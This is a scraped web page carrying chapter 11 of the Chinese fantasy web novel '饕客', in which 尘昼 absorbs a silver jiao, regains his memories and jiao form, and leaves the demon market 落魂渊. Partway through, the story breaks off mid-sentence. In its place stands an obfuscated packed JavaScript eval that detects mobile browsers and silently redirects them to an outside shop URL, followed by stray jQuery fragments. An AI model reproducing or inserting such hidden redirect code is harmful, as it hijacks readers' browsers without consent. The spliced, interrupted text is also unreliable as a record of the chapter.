文趣网 > 都市小说 > 饕客 > 11. 第11章
    银蛟的尾巴安静地伏在地面上,尾尖微微扬起像是在说:过来。

    尘昼迈出了一步。两步,三步。银蛟的轮廓——额角有一道旧痕,被雷劈过留下的,腹下两爪覆着金鳞,已经和龙爪无异。

    他走到三米处停下来。

    银蛟低头把额角那道旧痕对着他,尘昼看见那道旧痕的时候,脑子里忽然响起雷声。他还没来得及抓住雷声,银蛟的尾巴抬起来。

    银白色的蛟尾轻轻探过来绕到他右手上缠了一圈。

    鳞片贴着他的皮肤。

    她缠得不紧,松松的像怕勒到他。

    然后她俯身靠近,银白色的额头贴上了他的面纱,呼吸扑在纱上。

    她的声音是女的,温柔的尾音上扬,像极了他在记忆里听过无数次的声音——"你确定吃了我之后……你还有'脸'见人?"

    尘昼看见自己的右手——指尖、手背、手腕……覆满了银白色的鳞片。

    那不是一两天长出来的,他这一路走来每吞一只妖积累的,九处鳞纹最后一刻全部浮出了皮肤表面,连成一片银白的光泽。

    他左手一样满手的白鳞像戴了一副用银片打成的护手。银蛟的竖瞳里映着他的倒影。小小的一个影子蹲在月光下,满手白鳞,面纱还在,银蛟开始变化。

    银白色的蛟身从尾部收拢、变细、换形。鳞片一片接一片收进皮肤下,四肢收拢成手臂和腿。独角缩短成一道凸起的银纹,银白色的长发垂下。

    最后一个女子站在了尘昼面前。

    她通体银白,额角有一道独角残痕,眼是道细长的银白鳞纹,肤色极白,他每天早上在镜子里看见的那张脸。

    完全一模一样。

    女子穿着银白色的长裙,赤脚踩草地上,她琥珀色的眼睛和他一样——笑容充满悲伤。

    "好久不见,小昼。"

    尘昼的喉咙动了。

    他张开嘴但嗓子像被堵住了。

    她轻轻碰了一下他的面。那动作很轻像在征求他的同意。她把那半面黑纱摘下来,露出他的下半张脸。月光落在他脸上。

    银白色的鳞纹从眼角延伸到下颌,她把手收回来,"你记起什么了?"

    尘昼闭上眼。

    九段记忆碎片在他脑子里像九块拼图,一块块归位,卡进原本属于它们的位置——

    "小昼,你又乱吃东西。"

    "小昼,怕黑就抓着我的尾巴。"

    "小昼,哭也没关系,我在这儿呢。"

    "小昼,跑,别回头。"

    "小昼,那些都是假的,只有我是真的。"

    "小昼,你跟她真像。"

    "小昼,闭上眼睛,我带你出去。"

    "小昼,别碰那个。"

    "小昼,你长大了。"

    第九段落下去的时候,第十段记忆涌上来了。没有被任何一只妖封印过的那一段,像一直被冰封在心底的深潭,此刻那层冰碎了。

    他看见了一道雷。

    墨色的云一层叠一层,雷光从云里劈下来一道接一道,地面是焦黑的,到处是被雷劈出的深坑,坑里冒着青烟。他浑身是血,银白色的鳞片剥落了大半露出鲜红的肉。那支独角断了一截,断面还在冒着细烟。

    他快死了。

    但比死更重的是他不想活了。化龙的雷劫打下来才发现他不愿意。他不愿意斩断凡尘牵挂,不愿意忘掉他走过的人间路、看过的雨天、吃过每一口路边摊。

    可雷劫已经下来了,龙劫一旦开启只有两种结局:化龙或者死。

    他不愿意化龙也不想就这么死了。

    所以他选了第三条路。

    他把自己最后一口气凝成了一把刀,从内里剖开了自己的妖丹。妖丹碎成两半,一半裹着他的不甘带着雷劫沉进地底;另一半裹着他所有的不舍,从碎裂的妖丹中分离出来。

    他把前半块碎丹封进了一只新生的玄鳞墨蛇体内,把后半块——最不愿化龙的那半块——他给她取了个名字叫她娇蛇。

    然后他死了。

    尘昼睁开眼睛发现自己跪在地上。双手撑着草地,满手的白鳞陷进泥里。有泪水从眼里落下砸在手上,温热的。

    他低头看着那滴泪在鳞片上滚了一下。

    银蛟赤着脚站在她面前,银白色的裙摆在月光浮动。"你本来就不是人啊。"她像在哄小孩。尘昼看着她忽然笑。

    "我知道。"他说,"我早就不想变回去了。"

    银蛟弯下腰覆住了他的眼睛。温热的掌心贴上他的睫毛,记忆里每一次出现的那双手同样的温度、她轻轻说——

    "那好。那我们就回家吧。"

    她的手从尘昼眼上滑落化作一缕银光,顺着他的眉心渗入皮肤。紧接着她的身体分解,银白的光粒像被风吹散的蒲公英,一片片融进他的鳞片。

    尘昼闭上眼。

    所有从她那里拿走的东西——修为、记忆、容貌——在这一刻全部归位。他自己的东西回到了它该在的地方。

    额角发痒。

    有东西从皮肤底下拱出来,一支崭新的独角通体银白从额骨冒出。后腰一阵酥麻,尾巴从他尾椎处破衣而出——银白色的蛟尾覆满鳞片拖在他身后。

    尘昼跪在那里低下头。

    银白长发垂下来,他慢慢地坐在地上。月光照在他身上。满手的白鳞、额前的独角、身后的蛟尾。他低头看着水洼映着倒影。

    倒影里的人很美,但那是他自己的脸了。

    他摸了摸额头那支独角,长了好久的东西终于回到了原位。尘昼把那条银白色的蛟尾从地上捡起来。他把地上的黑纱在手里翻了一下,想了想又放下了,没有戴回去。

    落魂渊的妖市在南面,他还穿着那件灰扑扑的旧袍子,但袍子现在短了一截——被蛟尾撑破了露出一截银白色的尾尖。

    他深吸了一口气往南走,银白的蛟尾拖在身后掠过草地。

    尘昼走回落魂渊天正要亮。

    东山浮起一层蟹青,薄薄的像墨汁洇开的。紫雾比往常淡了,贴着地面只漫到小腿肚像睡醒了慢慢退潮。

    他顺着南边的山坡翻下来,远远就看见妖市有人影晃动。几个早起的散妖正在收摊——昨晚的夜市刚散,灯笼还没全灭,火星子在雾里一闪一闪的。

    第一个看见他的是那只黄鼬妖。

    他蹲在自己的烤串摊旁边数铜板,一抬头,手里的铜板哗啦啦全掉进了灰堆里。他张着嘴,眼睛瞪得溜圆,盯着尘昼看了三息,猛地往后缩了一步撞上树干。

    "……饕……饕……爷"

    尘昼从他面前走过看了他一眼。黄鼬妖的嘴张得更大了,这次一个字也没能挤出来。他看见尘昼额前那支银白色的独角,他身后拖着的银白的蛟尾,尘昼脸上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893027|212791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还发着光。

    尘昼从他身边走过去,黄鼬妖终于把后半截话吐了出来:"——饕客大爷您变样了!"尘昼抬了一下右手,随意地摆了摆算打了招呼。

    走进妖市深处,雾里的荧光一盏一盏灭下去。天亮了,夜行的妖怪把眼睛里的荧光收起来。也有几只看见了他,默默把光掐了,缩进摊布下假装睡了。

    尘昼没有在意。

    他穿过妖市的主道,路过那块被烧焦的摊位——焦圈还在没人去动过。他在自己以前的摊位停了,低头看了看地上被人用火烧出来的黑色圆圈。

    然后他用手掌按了安焦圈的泥。

    凉了。

    很久以前的火早就熄了。他转身往东角那排枯柳树走去。

    云灵不在那里了。

    枯柳树下空着,云灵每次都靠着的树干上留着一道灰迹。尘昼靠在了同一棵树上面朝妖市的出口蹲下来。

    他看了看自己的双手。白鳞已经铺满了整个手,一片叠一片,缝里透出粉色的皮肤。他转了转手,鳞片闪着柔和的银光。

    他摸了摸额角的独角打量自己。

    有几个白天活动的妖怪陆续从洞里钻出来,远远看见枯柳树底下蹲着的那个银白色的身影,步子都慢了几步,有的绕了路,有的站在远处看了几眼,又缩回去了。

    尘昼没有理会任何人。他靠在枯柳树等雾散了,等落魂渊从夜色里醒过来。他把袍子的下摆拢了拢,顺着东边的山路往外走。

    "饕爷……您这是要走了?"

    尘昼停了一下歪头看着它。圆头圆脑的那只穿山甲妖,就是他之前问过赌坊的那只。

    "嗯。"

    "去哪啊?"

    尘昼想了想:"随便走走。"

    穿山甲妖眨了眨黑圆的眼睛,看了看掉在脚面上的炊饼,又看着尘昼拖在地上的银白色蛟尾。"您以后……还回来吗?"

    他以前摆摊的那块地皮上还在,但他已经不用再在那里卖假符了。

    "不知道。"他说,"可能吧。"

    穿山甲妖点点头,弯腰把炊饼捡起来吹了吹灰咬了一口。尘昼沿着山路继续走。阳光从落在他额前的独角上。

    他走到山梁回头看了看落魂渊。

    十二座荒山围着那个小小的盆地,紫色的雾气散尽了,谷底青岩石露在外面。他曾经在那里摆摊、吃东西、被叫饕客、被妖躲着走。也曾经在那里一口一口吃掉那些妖,拿回那些记忆走到今天。

    现在他知道了自己是蛟。知道了那个叫他"小昼"的人是谁,那张脸从一开始就是他的脸,不是别人的脸。

    他站在山梁上迎着风把面纱从袖子里摸出来,随手系在了旁边的枯树枝上。风把黑纱吹起来在半空中翻滚,像一只忘了怎么飞的鸟。

    尘昼把银白的长发从脸侧拨开露出完整的容貌,他弯起嘴角:"走啦。"

    他沿着山路往下走。

    落魂渊在他身后越来越小,缩成了十二道灰色的轮廓。

    风带着春天的气味从南边吹过。

    尘昼走在山路上,银白的长发和蛟尾在身后轻轻晃动。早起的鸟从林子里飞出来在他头顶绕两圈又飞走了。

    他走了一程停下来看看水里的倒影。水洼映着他的脸——额角的独角,下颌的鳞纹,琥珀色的眼底映着蓝天白云。这张脸很美像被精心雕琢很多年,连犄角都恰到好处。